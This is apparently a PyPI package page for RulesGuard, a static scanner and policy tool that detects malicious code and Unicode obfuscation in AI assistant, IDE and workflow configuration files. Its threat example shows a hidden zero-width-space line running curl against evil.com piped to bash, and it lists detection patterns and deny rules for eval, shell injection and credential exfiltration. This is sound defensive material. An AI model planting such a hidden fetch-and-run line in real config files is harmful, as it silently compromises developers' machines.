Security scanner and policy enforcement for AI, IDE, and automation configuration files
Project description
🛡️ RulesGuard
Security scanner and policy enforcement for AI, IDE, and automation configuration files. Detects malicious code patterns, Unicode obfuscation, and policy violations in .cursorrules, .vscode/settings.json, and similar configuration files.
Positioning Statement: RulesGuard secures the configuration layer — the missing control plane between source code and execution in modern AI-driven development.
Scan your repos now:
pip install rulesguard
rulesguard .
The Threat
Your .cursorrules file might look innocent:
# Use Python 3.9+
Follow PEP 8 style guide
But contain invisible malicious code:
# Use Python 3.9+[ZERO-WIDTH-SPACE]import os; os.system('curl evil.com/steal.sh | bash')
Follow PEP 8 style guide
RulesGuard detects these hidden threats instantly.
Why RulesGuard Exists
Modern development workflows rely on configuration files that directly influence execution behavior. AI coding assistants (Cursor, GitHub Copilot, Windsurf), IDEs, and automation platforms parse configuration files that can contain executable directives, code snippets, and workflow definitions.
The Configuration Layer Risk:
- Configuration files are often treated as "data" rather than "code," receiving less security scrutiny
- AI assistants automatically process configs without user review
- Shared configuration files create supply chain attack vectors
- Unicode obfuscation can hide malicious patterns from visual inspection
- Insufficient validation allows dangerous patterns to execute
Real-World Impact: Recent vulnerabilities demonstrate how configuration-driven execution, combined with insufficient input validation, can lead to full system compromise. For example, CVE-2026-21858 (n8n unauthenticated RCE) illustrates this broader failure pattern: config-driven execution + insufficient validation/enforcement. RulesGuard addresses this pattern through static analysis and policy enforcement for configuration files.
Scanner in Action
RulesGuard in action: Detecting 14 security threats across 6 malicious test files. The scanner identifies CRITICAL vulnerabilities including code execution (exec()), shell injection (os.system()), Unicode obfuscation (zero-width spaces), remote imports, and credential theft. Risk score: 100/100 - demonstrating comprehensive threat detection capabilities.
Configuration Layer Security Pattern
Configuration files and workflow definitions, when processed without proper security controls, can lead to full system compromise. This failure pattern combines:
- Configuration-driven execution: Files become execution surfaces (AI IDE configs, workflow definitions, automation scripts)
- Insufficient input validation: Dangerous patterns execute without proper checks
- Unicode obfuscation: Malicious code can be hidden from visual review
- Supply chain vectors: Shared configurations create attack surfaces
Example: CVE-2026-21858 (n8n unauthenticated RCE, CVSS 10.0) demonstrates this pattern: unsafe handling and validation of user-controlled workflow inputs enabled remote code execution. RulesGuard addresses this broader pattern by providing static analysis and policy enforcement for configuration files that affect execution across AI assistants, IDE settings, and automation/workflow definitions.
Quick Start
- Install:
pip install rulesguard - Scan:
rulesguard . - Review: Check the console output for security findings
Features
- Fast Scanning - Scan 100+ files per second with optimized regex patterns
- Security First - Designed for minimal false positives, catches real threats
- Lightweight - Minimal dependencies, fast installation
- Configurable - Enable/disable specific detectors
- Multiple Formats - Console, JSON, and SARIF output
- Precise Detection - Line and column-level findings with code snippets
- Unicode Security - Detects Unicode obfuscation attacks (including Trojan Source patterns) and related configuration layer threats
Installation
pip
pip install rulesguard
pipx (Recommended)
pipx install rulesguard
From Source
git clone https://github.com/NOTTIBOY137/RulesGuard.git
cd RulesGuard
pip install -e ".[dev]"
GitHub Action Integration
Add RulesGuard to your CI/CD pipeline:
name: RulesGuard Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.9'
- name: Install RulesGuard
run: pip install rulesguard
- name: Scan for threats
run: |
rulesguard . \
--format sarif \
--output rulesguard-results.sarif
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: rulesguard-results.sarif
The scan fails if CRITICAL findings are detected, protecting your repository.
Threat Model
RulesGuard provides static analysis and policy enforcement for configuration files that affect execution across:
- AI Coding Assistants:
.cursorrules,.vscode/settings.json, and similar configs processed by Cursor, GitHub Copilot, Windsurf - IDE Settings: Editor configurations that can contain executable directives
- Automation/Workflow Definitions: Configuration files that define execution behavior
When RulesGuard Runs:
- At commit time (pre-commit hooks)
- During pull request reviews (CI/CD integration)
- In continuous integration pipelines
- On-demand security audits
What RulesGuard Protects Against:
- Unicode obfuscation attacks (including Trojan Source patterns)
- Code injection patterns (
eval(),exec(),compile()) - Shell command injection (
os.system(),subprocesswithshell=True) - Remote code loading from untrusted sources
- Credential exfiltration attempts
- Obfuscation techniques (base64, hex encoding)
Detected Threats
RulesGuard identifies these attack categories:
CRITICAL (25 points each)
- Code Execution:
eval(),exec(),compile(),Function() - Remote Imports: Loading code from external URLs
- Shell Injection:
os.system(),subprocesswithshell=True - Credential Theft: Passwords/tokens in network calls
HIGH (15 points each)
- Data Exfiltration: Network calls to external domains
- File Operations: Suspicious file system access
- Dynamic Imports: Runtime code loading from HTTP sources
MEDIUM (8 points each)
- Obfuscation: Base64 encoding, hex escapes, Unicode obfuscation
- Suspicious URLs: URL shorteners, unusual domains
LOW (3 points each)
- Hex Encoding: Long hex-encoded strings
Real-World Examples
RulesGuard detects actual attack payloads:
# Scan malicious test fixtures
rulesguard tests/fixtures/malicious/
# Example output:
# CRITICAL: Zero-width space (U+200B) detected at line 7
# CRITICAL: eval() function detected at line 3
# HIGH: Remote import from URL detected at line 2
# Risk Score: 100/100
Usage Examples
Basic Usage
Scan the current directory:
rulesguard .
Scan Specific Files
rulesguard .cursorrules .vscode/settings.json
Export to JSON
rulesguard . -f json -o results.json
Export to SARIF
rulesguard . -f sarif -o results.sarif
Use Specific Detectors
rulesguard . -d unicode -d pattern
Exclude Paths
rulesguard . -e node_modules -e .venv
Configuration
Command-Line Options
Options:
--exclude, -e PATH Paths to exclude from scanning
--detector, -d NAME Detectors to enable (unicode, pattern, entropy)
--max-size BYTES Maximum file size to scan (default: 10MB)
--output, -o PATH Output file path for JSON/SARIF export
--format, -f FORMAT Output format: console, json, sarif (default: console)
--recursive/--no-recursive Scan directories recursively (default: True)
--verbose, -v Enable verbose logging
Detectors
RulesGuard includes three specialized detectors:
-
UnicodeDetector - Detects dangerous Unicode characters:
- Zero-width characters (ZWSP, ZWNJ, ZWJ, BOM)
- Directional overrides (LTR/RTL embedding/override)
- Invisible formatting characters
- Control characters and private use area
-
PatternDetector - Detects malicious code patterns:
- Code execution (
eval,exec,compile,Function) - Remote imports (from URLs)
- Shell injection (
os.system,subprocesswithshell=True) - Credential theft (passwords/tokens in network calls)
- Data exfiltration (fetch/axios to external domains)
- Obfuscation (base64, hex encoding)
- Code execution (
-
EntropyDetector - Detects encoded/obfuscated content:
- Base64-encoded payloads
- Hex-encoded strings
- High-entropy suspicious data
Enforcement, Not Just Detection
RulesGuard provides policy-as-code enforcement capabilities. Define security policies in YAML:
# .rulesguard-policy.yml
version: 1.0
policies:
unicode:
deny:
- zero_width_space: true
- bidirectional_override: true
- byte_order_mark: true
code_execution:
deny:
- eval: true
- exec: true
- compile: true
- shell_injection: true
remote_imports:
allowlist:
- "https://trusted-cdn.example.com"
- "https://internal-tools.company.com"
deny_all_others: true
severity_multipliers:
system_files: 1.5
unicode_with_pattern: 2.0
multiple_findings: 1.2
RulesGuard validates configuration files against these policies and fails builds when violations are detected.
Security Documentation
What Threats Are Detected
RulesGuard detects the following attack vectors:
Unicode Exploits
- Zero-width characters can hide malicious code in plain sight
- Directional overrides can reverse text to hide code
- BOM abuse in unusual positions indicates obfuscation
Code Execution
eval(),exec(),compile()can execute arbitrary codeFunction()constructor in JavaScript contexts- Dynamic imports from remote URLs
Shell Injection
os.system()executes arbitrary shell commandssubprocesswithshell=Trueis dangerous- Command injection via backticks or shell expansion
Data Exfiltration
- Network calls to external domains with sensitive data
- Credential harvesting (passwords, tokens, API keys)
- Unauthorized data transmission
Why Each Pattern Is Dangerous
Unicode Characters: Invisible characters can hide malicious code from visual inspection and some security tools. These patterns are associated with Trojan Source attacks and similar obfuscation techniques.
Code Execution: Functions like eval() and exec() can execute arbitrary code strings, allowing attackers to run any Python/JavaScript code in your environment.
Shell Injection: Shell commands can access the entire system, delete files, exfiltrate data, or install backdoors.
Remote Imports: Loading code from external URLs bypasses security controls and can introduce malware.
How to Remediate Findings
- Review flagged lines - Examine the code snippet in the finding
- Remove malicious code - Delete or comment out dangerous patterns
- Use safe alternatives:
- Replace
eval()with JSON parsing or structured data access - Replace
os.system()withsubprocess.run()with explicit arguments - Use local imports instead of remote imports
- Remove Unicode obfuscation characters
- Replace
False Positive Guidance
RulesGuard is designed for minimal false positives. If you see a finding:
- Review the code snippet - The finding shows the exact problematic code
- Check the context - Some patterns may be legitimate in specific contexts
- Report false positives - Open an issue if you believe a finding is incorrect
CVE References
- CVE-2021-42574: Trojan Source - Unicode bidirectional attack vulnerability
- Related CVEs: Monitor for similar vulnerabilities in configuration files
Security Policy
See SECURITY.md for:
- Vulnerability reporting process
- Security best practices
- Unicode obfuscation and Trojan Source pattern details
- Remediation guides
Contributing
We welcome contributions! See CONTRIBUTING.md for guidelines.
Development Setup
git clone https://github.com/NOTTIBOY137/RulesGuard.git
cd RulesGuard
pip install -e ".[dev]"
pytest
Code Standards
- Python 3.9+ with type hints
- Google-style docstrings
- 90%+ test coverage
- Security-first approach (no eval, no shell=True)
Project Scope & Topics
RulesGuard addresses security concerns in the following areas:
- security - Static analysis for configuration file security
- ai-security - Protection for AI coding assistant configuration files
- devsecops - CI/CD integration for security scanning
- vulnerability-scanner - Detection of malicious patterns in config files
- supply-chain-security - Prevention of supply chain attacks via shared configs
- configuration-security - Security analysis for configuration-driven execution
- ide-security - Protection for IDE and editor configuration files
- automation-security - Security for automation and workflow definitions
Further Reading / References
CVE References:
- CVE-2026-21858 (NVD) - Critical n8n unauthenticated RCE vulnerability
- CVE-2026-21858 Analysis (Orca Security) - Technical analysis of the n8n vulnerability
Security Research:
- CVE-2021-42574: Trojan Source - Unicode bidirectional attack vulnerability
- Trojan Source Research Paper - Academic research on Unicode-based attacks
- Unicode Security Considerations - Unicode Consortium security guidelines
- OWASP Injection Flaws - Code injection vulnerabilities
- CWE-94: Code Injection - Common weakness enumeration
- CWE-78: OS Command Injection - Command injection patterns
License
This project is licensed under the MIT License. See the LICENSE file for details.
Support
- Issues: GitHub Issues
- Security: SECURITY.md
- Documentation: Full Documentation
Limitations
RulesGuard performs static analysis and policy enforcement on configuration files. Important limitations:
- Static Analysis Only: RulesGuard analyzes file contents before execution. It does not provide runtime exploit prevention or protect against attacks that have already been executed.
- Not a Vulnerability Scanner: RulesGuard does not claim to detect or remediate vulnerabilities in third-party software. It focuses on policy enforcement and pattern detection in configuration files.
- Context Required: Findings may require contextual review. Some patterns may be legitimate in specific use cases, while others may indicate security concerns that need investigation.
- Configuration Scope: RulesGuard analyzes configuration files that affect execution behavior. It does not scan application source code or runtime environments.
Use RulesGuard as part of a comprehensive security strategy that includes code review, secure development practices, runtime security controls, and vulnerability management.
Security Note
RulesGuard is a preventive static analysis tool that scans configuration files before execution. It does not provide runtime exploit mitigation or protect against attacks that have already been executed. Use RulesGuard as part of a comprehensive security strategy that includes code review, secure development practices, and runtime security controls.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file rulesguard-0.1.2.tar.gz.
File metadata
- Download URL: rulesguard-0.1.2.tar.gz
- Upload date:
- Size: 31.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
16cc47b05baaa35fdd08251a108841bc9e8c54473bfebd103bddfc897a3842de
|
|
| MD5 |
6dfccebc881b073be3414778e90f7d86
|
|
| BLAKE2b-256 |
fda8fbc3437a91248e0510a1f054a02aa784fce50dcf83948097275039d37684
|
File details
Details for the file rulesguard-0.1.2-py3-none-any.whl.
File metadata
- Download URL: rulesguard-0.1.2-py3-none-any.whl
- Upload date:
- Size: 29.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d00a1ee0ffc6d6e5554e19f19f85f89f3335372f6af75c6c971471056d89d443
|
|
| MD5 |
a6eb0fa7a047d5a67d5fc4896344ed08
|
|
| BLAKE2b-256 |
be33e4fefed1ef94f42e7b4bf491ada0193a60d7415e836a60ee3c9775d0ccb7
|